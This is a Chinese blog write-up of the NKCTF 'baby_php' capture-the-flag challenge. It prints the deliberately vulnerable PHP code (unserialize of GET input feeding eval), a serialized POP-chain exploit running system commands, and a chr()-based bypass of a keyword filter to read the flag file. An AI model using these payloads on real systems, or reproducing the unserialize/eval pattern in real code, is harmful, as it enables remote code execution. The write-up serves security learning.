nkctf——baby_php

目录

 题目

wp

popchain

思路

cmd的利用

strtolower

show_source


 

 题目

 <baby_php?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?> 

wp

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg;
}
class Happy{
    public $shell;
    public $cmd;
}
class Hell0{
    public $func;
}
$t=new Welcome();
$t->name="welcome_to_NKCTF";
$t->arg=new Hell0();
$t->arg->func=new Happy();
$t->arg->func->shell="system";
$t->arg->func->cmd="dir /";
echo serialize($t);

popchain

Welcome::__destruct->Hell0::__toString->Happy::__invoke

要利用eval >> Happy::__invoke() >> Hell0:__toString >> Welcome::__destruct

思路

用到eval函数,要触发Happy::__invoke(),即用一个函数调用Happy,发现Hell0中有一个function(),则可以func=new Happy()要触发__toString,可以用到Welcome中的echo,但是要name == 'welcome_to_NKCTF' ,则可以先new Welcome,触发__construct(),再使name == 'welcome_to_NKCTF'

cmd的利用

 

public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
            

function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }

cmd绕过preg_match('/f|l|a|g|\*|\?/i', $string)利用chr函数

$t->arg->func->shell="strtolower";

即$t->arg->func->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";

 eval(strtolower(show_source(/f1ag);)

 eval(strtolower(show_source(chr(47).chr(102).chr(49).chr(97).chr(103));)

 

strtolower

strtolower() 函数把字符串转换为小写

show_source

show_source() 函数对文件进行语法高亮显示

本函数是 highlight_file() 的别名

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_MOB_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值